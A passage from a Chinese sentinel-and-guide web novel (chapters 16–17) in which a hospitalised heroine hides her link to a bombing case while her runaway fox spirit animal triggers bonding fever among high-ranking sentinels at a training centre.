“那是给邵姨的方案一,你不知道吗?”顾尾推开门时后瞥,邵姨就是将他从监狱提出来的人,“哨向委明年换届,赵主/席当年放跑了野火首领,如果这事儿解决不了,他想连任可就难了。”
“噢”,女警冷汗都要下来,电脑里的方案重如千斤,压得她手痛,“那我们还提审?接下来目标是什么?赵主/席接到质疑,肯定会派自己人下来,我们就像之前说的什么都不做,不就好了?”
隔着单面玻璃,岳雪如不愧是市长女儿,直视镜面毫无畏缩。
“考试时怎么考0分你研究过吗?”顾尾轻轻回答助理,“只要知道正确答案就好了。”
*
审问室内。
喇叭里传来男声:“岳雪如,请如实讲述国特库爆炸案发生当天,你的行动轨迹。”
女孩不打磕绊,像之前那次审讯一样,从自己发现父亲小金库开始,一路讲到自己进考场。
“再讲详细一点,你大概几点邀请庄问微到你家?”
“上午十点多,怎么了?”
“那你什么时候第一次告诉庄问微,你要去参加考试?”
“考试当天,之前都没问这个,关她什么事?”
*
就算齐助理也察觉到了不对:“时间对不上。”
庄问微本人都是当天知道要去国特库的,难不成野火的人会未卜先知,先把东西布置上?
望着不语的上司,齐助理催促:“不对劲啊,她是个毫无关系的普通人,却掺和在里面,难不成她是野火的卧底?”
“啧”,顾尾嫌弃,“你是不是忘了,一开始庄问微就牵扯到‘墓土’案里,由施阳泽去办的。他找到‘墓土’分/身,是不是也要去国特库隔壁的特种人管理部报道?野火在选
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择引线时,很有可能通过这两个的交集,找到了最薄弱的庄问微。”
“哦,那她的嫌疑......”女警犹豫起来。
现有证据都不足,最佳搜查期眼看过去,这件事也许就会随着第一份调查报告上交而盖棺定论。
“还是不对啊”,顾尾盯着对面已有些焦躁不安的女孩,陷入自己的思考里,“哨兵的天性令人讨厌,但他们对自己天性的忠诚有时令人赞叹,如果庄问微真是一个普通人......”
一个哨兵瞎了眼勉强能接受,两个就让人怀疑,更别说——国特库战斗后,在场的A级哨兵们,一见到庄问微,量子兽都不要钱似的贴过去了。
说到这里,他严肃的表情一改,“你说,我这么天天想着她,说不定也是喜欢上她了呢~”
“......”
*
ICU内,氧气面罩上一层雾气,顶着头脑剧痛坚持听到了最后,庄问微终于掌握了调查组目前所有的进度。
很好,所有的马脚都由一点点巧合黏合起来,将他们所有人引向完全错误的方向,她暂时从他们眼皮底下逃脱,只需要注意和哨兵们保持距离即可。
——回来吧。
给狐狸下达指令后,黑暗蒙头罩住,她失去了意识。
黑暗里,没有梦,没有痛苦,只有无尽平和。
以至于再睁开眼时,她满心都是被吵醒的烦闷。
“醒了是吗,现在呼吸机还不能下,过几天能自主呼吸了再说。”护士忙着撕药剂包装,没注意病人的脸色。
打完针,一抬头,护士有点紧张:“你怎么了?哪里不舒服?点滴速度太快了吗?”
“不”,庄问微连伪装的笑都拿不出来,目送狐疑的护士离开,安静回归病房,一个巨大的噩耗占据整个空间:
她感觉不到自己的量子兽了。
这时医生推门,“听护士说你感觉不好?”
“不”,女人耷拉着嘴角,只能冒出这个字,幸好面罩挡住了她异常的表情。
“没事,你这算小问题,那伙人下麻醉下太多,最多一周就能代谢完。等你好了,这周围环境很好,前院老有动物跑来,你就当度假了。”
护士端着托盘,路过门口时搭腔:“是啊,刚刚他们还在前院捉了一只狐狸呢。”
“那我下班了可得去看看。”
医生转头回得轻快,没注意病床上女人闻之色变。
16. 第 16 章
哨向量子兽从来只能被特种人看到,如果这里只有特种人,危机还不算大,一条尾巴的狐狸在山里常见。
可关键是——医生护士、清扫人员、后勤管理大部分都是普通人。
狐狸,到时候一定要逃快点啊!!
庄问微躺在病床上,希望声嘶力竭的内心呐喊能被量子兽听到。
老天爷,量子兽和本体断开联系,她只在培训老师说到死亡案例的时候听到过。
但一般是神游末期的哨兵才会出现这个症状,像她这样由药物导致的倒没有。
所以那瓶东西到底是什么,为什么苏鱼会费那么大的事来偷,其中无法吸收的‘有毒成分’又是什么?
谜团笼罩女人的头顶,她手指抽动,努力抓握成拳又松开,力气在慢慢恢复,她大概需要一个小时左右才能下床。
狐狸,看到铁锅,下面烧着柴火,千万别以为是洗澡池就跳进去了!
量子兽那边静悄悄。
病房门开着,护士并排走过,讨论的话音掉落到房间内。
“.......又来一只狐狸?狐狸繁殖季是现在吗?”
“不知道啊,快冬天了,是不是下来觅食的......”
庄问微抬着脖子爆出青筋,努力探头出去听,可也只听到两句。
疑惑爬满她心头:难道自己想多了?
量子兽同时拥有主人性格和自己的兽性,她自问是个很能苟的人,狐狸又不是豺狼虎豹那样的大型猛兽,大概没关系吧,肯定是跑进山里了。
倒回床上,庄问微定下心,好不容易调查组那边找不到线索,她必须表现得很正常才行。
*
五分钟后,换过药的两位护士又经过,还在讨论狐狸。
“听说狐狸嗷嗷叫就是在求偶呢?”
“你听!十来只狐狸果然叫得凶......”
什么?
又变成十来只了?
庄问微唰地竖起耳朵,但病房窗户密封,房门出去的走廊也被玻璃封住了,一时她急得抓耳挠腮,都说春天才求偶,现在这么多狐狸,显然是异常。
不好的预感让她头皮发麻,一个没想过的事情在心里愈发明显:九尾狐是普通狐狸?它在历史上好像有个别称,叫狐狸精来着......
它为什么非要在集训中心弄出这种事?
觉醒兽性了吗?
当然,事情其实远比庄问微想得严重,她的量子兽会在接下来的时间里狠狠搅动这趟浑水,把全国哨向的目光都吸引过来。
*
但现在,对这事没有概念的女人还在练习从床上爬起来,呼吸暂停造成肌肉痉挛,她全身都疼得使不上劲儿,刚坐起就又要倒。
眼看地面朝着脸扑来,一道熟悉的女声传来:“哎哟哎哟,你干嘛起来?”
岳雪如从门口冒出来,扶起即将倒地的好友,问了两句身体情况,就迫不及待吐槽了刚刚的审讯。
“......你说,他们是不是有毛病?找不到线索就一遍遍为难我们这些人,听说A级哨兵至今都被关在静音室里,马上就到期限了,啥也调查不出来,光耗着。幸好当时有人召集了哨兵过来,我们考场不是在四楼么,就在我们脚底下的一楼和地下全部三层,那些人连句话都没喊出来就被吃了。那个东西跟成精了似的,听说还会分出假分身来骗/人。”
原来施阳泽他们还被关着,可丹尼斯也是A级,上次还能申请通信......
转眼她又觉得庆幸,这家伙总算长脑子了,知道在这期间和自己划清关系。
“你也够倒霉,又撞上了劫车。”
庄问微心里一动,“我这一趟罪受的,都不知道为了啥,所以丢的什么东西?”
这一问可算打开八卦匣子了,岳雪如算了算探视时间,嘴巴和机关枪似的:“听我爸说,那东西本来就是假的。”
假的?
是国特库为了稳定人心故意说的吧。
“说是那个‘烧脑药’的原浆,你听说过‘开发脑动力,激活身潜能’这个广告词吗?”
庄问微面色平静,实际整个人已经被震惊得无法动弹,烧脑药,对啊,是烧脑药的味道,当时打开瓶口闻到的那股味道,就是小时候妈妈喂给自己的药!
那时候这药还叫着‘特种药’的美名,号称可以让人拥有觉醒为特种人的潜能,一瓶非常贵,是普通上班族无法承受的费用。上万孩子被父母亲手喂了这毒药,最后发现这东西对大脑有损伤,由此开始了漫长的集体追索。
庄问微小时候很不爱喝这玩意儿,喂给小树苗,喂给家里的宠物,喂给床底,最后不小心喂给了靴子,妈妈不用踩进去,就发现了这种宣战。
结果可想而知,她还是被狠狠灌了半个月。
最后败露时,妈妈没有参与追索,甚至不承认自己买过,对外宣称‘没有买,只有普通人家庭才会报那种希望,我们哨向家庭太明白哨向的苦了,其实做个普通人也好’。
岳雪如的声音飘忽着,“你知道我怎么知道的吗?我不是最近一直在借着搬东西查账吗,发现政府资金打到国特库账户后,一个转手就全部汇到了一个基金会的账户上。”
她顿住,两人对视之后,心里同时浮现一个名字:特种药受害者救助帮扶基金会。
“别查下去了”,庄问微扯下半掉不掉的面罩,严肃说:“你本来想查你爸的小金库,查到现在发现不是,就别继续往里走了。”
病床前,刚刚还抓紧时间八卦的女孩沉默,然后突然冒出一句话:“其实我小时候曾经喝过一段那个烧脑药。”
庄问微心里一惊,以沉默相对。
“所以,查到这个,我就去偷听了我爸的工作会议——”
“等
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等!”床上女人快要跳起,“你!”
“放心”,岳雪如撇撇嘴,“我也没听两句,就几个词,我猜了猜,推出他们在讨论被盗的东西,说什么‘假的’、‘当年的药’。”
“你原样复述一遍。”
“就这几个词,‘野火偷了原浆’、‘没事,假的’、‘别忘了当年的药’。”
庄问微皱着眉,大脑被这几个词卷起风暴:岳雪如凭借已有信息,她本来就查到了烧脑药,一听这提示,立刻将后两句组合为当年的烧脑药假原浆,野火偷了原打算再制造烧脑药,复制当年的事情,给zf带来麻烦,但其实是假的,也不能成事。
可.....总感觉哪里不对。
真的是那个损伤大脑的药,为什么狐狸会瞬间长出第二条尾巴?
说明还是有效的。
如果去除掉烧脑药这个前提呢?
野火当年的首领曾经是体系内人员,后来逃出法网,他犯了什么罪不知道,总之他知道‘某个原浆’很有用,处心积虑多年要从国特库偷出,而上面自然也知道‘某个原浆’很有用,专门放了一个假的在那边。
野火是向导组织,想得到的东西和特种人有关,而且讲着讲着劫车案,突然提什么‘当年的药’,也许不应放弃烧脑药这个前提,最后能得出一个模糊结论——那个原浆大概率能促进觉醒,上层早就知道,但捂了很多年。
可为什么,每年哨向排查兴师动众,一副求贤若渴的样子。
庄问微感觉再想下去,会触及这个社会根本的一些东西,但她现在自身难保。
“我想查下去”,岳雪如拿出手机,“你看,基金会人事变动公告,曾经的受害者家属都卸任,这个基金会只剩三个人,完全是个空壳,却还在运转。”
那钱跑到哪里去了?
这事儿从外部查不到,也许只能从他们内部的账目才可知晓。
庄问微没法说什么,两人相顾沉默两秒,护士就来提醒时间了。
“一定不要逞强,一定注意安全。”最后,病床上的女人只能这么说,她很惭愧,为了避免麻烦,在对方袒露时选择了隐瞒,却隐隐期待对方调查的结果......
“嗯,我走了。”岳雪如扶着门框回首,眼神里满是冲劲儿。
“叽”,她脚边的狐狸同步回首,甩了甩尾巴作为挥手再见,根本没把呆若木鸡的主人放在眼里,更别说来自后方‘回来!回来!’的呼唤,那是理都不理。
*
老天爷,狐狸跟着岳雪如跑了!
庄问微一个不小心,失力差点摔下床。
那只蓬松的大尾巴甩得倒是自在,所以它根本一直都待在床底嘛?
女人重新坐好,蒙被假装睡觉,实则掩盖无法控制的表情,可是——跟着岳雪如的狐狸只有一条尾巴啊??难不成在这短短的时间内,又在哪里燃尾了?
17. 第 17 章
“岳雪如,快回来!”
岳雪如倒是回来了,跟着她的狐狸不知所踪,最后庄问微硬生生站了起来,站在走廊目送她离开,才确定狐狸没跟她走。
那狐狸去哪儿了?
回想各种视频里,柴犬挣脱缰绳那洒脱自在的姿态,狐狸想必也是如此。
当然,这个问题的答案她很快就会知道。
*
这天,集训中心乱成了一锅粥,医疗楼大门紧闭,所有哨兵伤员被紧急转移,而普通人如庄问微则摸不着头脑,几次哨兵快打到面前,医生们组织剩下的人进到地下紧急避难。
外面声音怎么那么大,庄问微转移时往外望去。
“别看了别看了,结合热哨兵对视线很敏感!”医生护士驱赶着,顺带把窗帘都拉上。
“结合热?”庄问微当然知道这个知识点,讲到这节的时候原本喧闹的班级一下静悄悄,透露出诡异的期待,天天捣乱的哨兵一个个眼睛亮晶晶盯着老师。
——结合热,意味着遇到了高匹配向导,是结合的前兆,使双方的精神和身体同调进入兴奋。
对青春期的哨兵们来说,有什么比当堂听这个更刺激的事儿?
“一次,这么多哨兵?出啥事儿了还要封闭大楼?”庄问微满脸问号,她迟疑地说:“怎么,是春天到了?”
护士手里瓜子一堆,他们最后得出结论:管他们呢,反正不关普通人的事儿,既然不是全部撤离,就说明不是外部入侵。
庄问微吹掉唇上的瓜子皮,点点头同意,心里庆幸自己的量子兽早就跑了,否则现在不知道会受什么影响。
当然,这天之后,她会明白一个道理,人是无法认识自己本性的,就像她自认克己守礼,但作为半身的量子兽竟然会干出那种事。
*
陈铎,男哨兵,24岁的A+级,集训中心三上尉之一,第一连连/长。
下午少校带着他们三个开会,商量今年新哨兵入营的事儿。
春季大排查后新哨兵陆续出名单,接下来会统一拉到山区做适应性训练,剔除掉心理不合格、自愿放弃的人,再抽调完特长生到特区训练。
砍完头,砍完尾,某些伤损率比较高的部队再来打一波广告。
剩下的就按照来源地进行分派,结合当地实际情况以及哨兵意愿,看往年结果,他们安市今年预估会进150个左右的新哨兵。
三个连,每个连长手底下会多加4个班,正好所有人手下都被借调走许多哨兵,亏空得很——
正说到这事儿,陈铎心弦突然拨动一下,扰得半边身体酥掉,仿佛耳朵最里面被吹了一口痒痒的气儿。
他直接慌了神,腾地一下站起,在少校询问的眼神中察觉到自己的失态,又冷着脸坐下,一秒不到就想到了借口:“今年的全国大比,我们一定不能放过虎贲营!”
“施阳泽马上要出静音室了,回头可以探探他底细。”刘磬少校不恼,倒是鼓励,他面对平级和上级一向滴水不漏,面对下级一贯春风带雨,“这里你的天赋和他最针锋相对,山上的雪豹,地上的虎,和他比比!”
“是!”
可是当陈铎借着调整座位视线下移,一条毛茸茸的尾巴冒出头来,绕着他的小腿,走完一圈,白狐抬头,灵动圆溜的眼睛注视他。
平白的,从那眼神里看出两分娇俏。
哪里来的狐狸?
上尉喉结狠狠滚动,他预感到自己热血要上脸,立刻抬起眼,压制住身体的反应。
那狐狸仍在绕,刺激的他背后一层鸡皮疙瘩接一层,海浪一样跟随情绪不断上涨,他不得不绷紧全身的肌肉用来对抗。
软,软得像天上的云朵,宣呼,挨到一点,肌肤的热量就移过去烤得腿暖哄哄。
刺挠,在一片软得要掉下去的触感里,偶尔会刺他一下,不疼,但留在皮肤感官里长久不退,反而像是钩子,勾得他不停地想。
多坏啊心思,偏偏在这种需要他严肃的场合勾他的小腿,根本来不及思考是哪里来的向导,所有的精力全用来确定一件事——
这是和他高度匹配的向导的量子兽!
只这么一会儿接触,他的身体就已确定出这一点。
但似乎不满哨兵长久无动于衷,狐狸尖尖的耳朵向后倒了一下,不再留恋,一下跳走,身形隐遁在空气中。
暖意离开,凉风吹拂小腿,乍然冻得一抖,丧失配偶的恐惧如同踩空落入悬崖。
陈铎刚刚抵抗的努力全然报废,一只老虎吼叫着显现,不等命令就已急急冲出门口,追捕那只狐狸去了。
“诶?”
少校刚要皱眉,就嗅到了什么,一把拽开临近的两个哨兵,“怎么会结合热!”
其他两人定睛一看,果然陈铎满脸通红,青筋暴起,双手一张,桌面就被抠烂,这也无需提问,都是哨兵,一看便知。
哨兵遇到高匹配向导,且双方长期密闭相处,大概率就会触发结合热,功用只有一个——快速提高身体素质,驱赶其他哨兵,占有面前的向导。
只是这事儿十分蹊跷。
“快走!”三个哨兵几乎同时撞破玻璃跳下四楼,后方陈铎紧跟跳下,誓要将等级最高的几位驱离领地。
哨兵争夺向导,动辄人命。
“我把他引到演武场,你们带麻醉/qiang和向导过来!”刘磬少校大喊,三人落地即分头行动,陈铎脚步几乎不顿,跟在刘磬后方。
*
符章,男哨兵,24岁的A级,上尉,第二连连长。
他从四楼跳下,落地如猫轻巧,穿衣看似纤细,实则肌肉每块都长在该长的地方,双脚一蹬地,身体就飞也似的来到十米开外。
这里他速度最快,所以直接领了去最远的医疗楼的任务。
但他并没有完成任务,因为在那之前,猎豹停在了一只狐狸面前。
它就在树下卧着,团成一团靠在树根旁睡着,软乎乎的肚皮随着呼吸一鼓一鼓,可爱得要命。
周身白得像日光在视野里烫了个窟窿,只一眼,视网膜便留下光斑,符章不知不觉痴了,脚步不听使唤地来到跟前站定。
猎豹轻轻“喵”了一声,想舔,数次张嘴呼哧却不知从哪里下嘴。
最后一人高的猛兽也想团成一团,把白狐围在中间,可它太珍惜了,于是冒着傻气,坐下时一屁股就把白狐给撅醒了。
“叽!”白狐爬起,尾巴不高兴地耷拉,在面前人类即将拥上来前,一尾巴扫到他脸上,然后轻巧跳到另一边去。
“叽。”看哨兵扑了空仍不生气,狐狸尾巴开始晃悠,尾巴尖儿勾得像弯着的食指,眼睛眯起,带了许多引诱的意味,在前头走两步就往后看一眼。
哨兵和量子兽同时暴起,两边如同后花园里的帝王和妃子,玩着你追我赶的游戏。
一扑,白狐就躲,躲到一边却又回头来看,看到对方不动,还要翘起尾巴尖左右甩动,可鱼若自愿上钩,它便翻脸不认账,又发狠似的躲避,引得对方无比失落。
竟不知向导是要玩他,还是真心要和他结合!
哨兵这边心急,被这游戏勾得再也按捺不住,两下逼得白狐到墙角。
猎豹扑来,白狐轻快一跃,反站在它背上,引得那家伙回首,又被白狐当面一爪拍在脸上。
“白狐,白狐,快带我去见你的主人吧”,符章单膝跪地,闪电般捞起狐狸。
狐狸还想挣扎,哨兵急了不留余力,手臂硬邦邦根本挣脱不开,于是摆烂,如一条皮草似的耷拉下去。
符章这边入手后好久才平息了激动,那丝滑的皮毛绢一般流过,属于高匹配向导的安抚也深入脑皮层,给最深处挠了挠痒,舒服得他浑身一抖。
“我输了,我输了”,他不知所谓地叹着,只抱起狐狸,就循着刚刚的方位寻找,“你赢了,向导,我的向导,只要你来就能支配我!”
*
集训中心上空的威压凝成实体,在会议室窗户碎裂的同时逐步扩散,在一瞬之间无形压力笼罩住所有人。
哨兵内部实行残酷的等级实力论,不少等级低的人当场趴下,剩下等级尚可的,也只忙着将同伴搬离,竟没有一个敢组织人手上前的。
一时集训中心内逃窜得只剩高等级哨兵及在地下避难的普通人,向导小队匆匆赶到演武场附近。
轰轰轰,远远就听到里面动静极大,两道哨兵气息正针锋相对。
“先扎一针镇定剂吧,哨兵小队呢?”
一个女孩拿起比手掌还长的针筒,一般处理流程是哨兵小队压住患者扎镇定剂,接着向导上场在安全状态下进行安抚。
“里面是一连长,中心能有几个比他厉害的?”
那个总是冷静自持的陈铎连长竟然也有这一天?
就在众人犹豫之时,“嗖——”一道灰色巨物快成残影擦身而过,恐惧令向导们的头发直立,他们中等级最高的就B级,日常都是坐办公室完成安抚任务。
“轰——”那东西与后方房屋撞击产生的灰尘瞬间扬起几米高。
巨大的风卷动,擦得向导们脸颊生疼。
回头看去,原来是演武场边上的石台阶,每块都要上百斤,直接被掰下来扔着砸。
“顾......也许该求助顾组长?”有人对向导小队组长谏言,“他们应该还没走多远
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。”
中年女人皱眉摇摇头,“到底怎么回事还不知道呢?一连长一直没匹配到向导,怎么会突然结合热?”
眼看黔驴技穷,遮挡视线的观众台也被拆得差不多,他们退到十几米开外等待,却不想一只红了眼的老虎吼叫着乍然出现。
“呀!”
几乎是女孩被吓到的一瞬间,向导小组组长就捂住她的嘴巴,十几个向导任由一连长的量子兽不断嗅闻。
钢针一样的胡须贴近头皮,扎得生疼,急促的呼吸卷着热浪扑到脸上,可没人敢动,免得被老虎判定为阻挡。
“吼——”它踱着步挨个嗅闻,越到后面脚步越急躁,脖间毛发炸起,几个向导当场被吓得量子兽显出形来。
有兔子有猫,就是没有狐狸。
老虎烦躁地原地转圈,在水泥地上踩出几朵梅花脚印,才又朝另一边找去。
“它在找什么?”向导组长敏锐察觉到什么。
*
那老虎在找什么?
同样的问题出现在施阳泽脑海,他连同自己的警卫队一出静音室,空气里威胁之意就如鞭子一般打上来。
“假正经又怎么了?”警卫队之一的吕放幸灾乐祸。
“向导跑了?”谁都能听出虎啸声里那股无法掩饰的焦急。
丹尼斯中尉在背后关上门,只一个错神,那五人就走成雁阵,后四人松散地舒展筋骨,唯有领头的施阳泽一出门全身就进入了警戒状态。
——全国大比的团队冠军,坚持到最后的哨兵。
“嘀”,丹尼斯依次打开后方三间静音室,‘墓土’案里被迫静默的A级哨兵们就此全部‘出笼’。
*
敛天禄,西南某军区某营营长,少校职位和集训中心头领刘磬同衔,按规定可以不听指令离开,鬼知道他为什么要借机留下。
“哟,这不是小施么,前几天指挥得不错”,他身材高大、五官舒展,一开口就三分笑意,27岁还一副纯善弟弟模样,无论亲远一开口就能拉得很近。
施阳泽顿住步子,回头看去,却发觉后面三人连同丹尼斯一起松散站着,却隐隐结成一派,都没有关注外面那震天响的打斗声。
“过奖,敛哥是主官,营里不忙?怎么还留在这里?”主官即是一连一营一团的主要责任人,一般是连长、营长、团长,既负责行政也负责训练,一向工作繁忙,天天加班来不及,还能有空在静音室里躲清闲?
敛天禄收住笑,露出苦恼神色,“这不是有困扰么,你也知道我经历了很多轮匹配失败,那天处理完国特库的事情,看你那个朋友倒是很合眼缘,恰好前几天国特库的负责人说帮忙引荐,先知会你一声。”
“嘶——”警卫队四人齐齐倒抽一口冷气,连询问‘你和她关系是什么’的环节都没有,直接摆出架势要明抢了?
“我那位朋友不是向导,敛哥这样吧,实在不行就跟家里低个头,如果敛叔叔也不给帮忙走路子,那就去求求我妈吧,她在白塔里能说上一点话。”施阳泽毫不示弱,摆出架势吓退有意者。
警卫队心里吐槽:可不仅仅是能说上话的程度,施家和白家强强联合,一个哨兵协会高层,一个白塔高层,常年占据哨向委员会一席之地,谁的匹配信息不从他们手里过?就是他们生出来的公子哥叛逆,非要从基层爬起,要不然谁家上尉去哪儿带四个A级哨兵做警卫?
“这事儿说不准”,后方哨兵出声,温文尔雅,年纪看着快三十,“你情我愿可不看家世背景,要看两人适配度。我虚长你们两岁,上半年受了伤能力衰退,就不趟你们这趟水,先去看看失控哨兵的情况。”
丹尼斯中尉不语,注意那人一个转弯却朝医疗楼而去,啧,一个个的,说得不争不抢好气度,实际庄问微的位置都打听得一清二楚了。
“对”,敛天禄朝丹尼斯笑笑,“差点忘了正事,是你们一连长吧,怪不得必须放我们出来。”
丹尼斯点头,他自知在一群人里优势不高,唯一脱颖而出抱得美人归的方法就是不言不语不引起注意、让其他哨兵斗得你死我活。
“好啊,那就一起去帮忙吧。”施阳泽也很通情达理。
然后所有哨兵几乎一起动身,一步之后却齐齐停下脚步。
“敛哥,不是说去看失控哨兵吗,你怎么去医疗楼方向呢?”
“你不也是?噢,刚刚那是无当营的吧。”
丹尼斯出声,“少校和一连长他们在演武场那边,各位可以先去,无当营那位大概走错了,我去通知他一下。”
警卫队诸位:各位,麻烦嘴巴和心保持一致好么,在这种需要你们的时刻,争风吃醋真的好吗?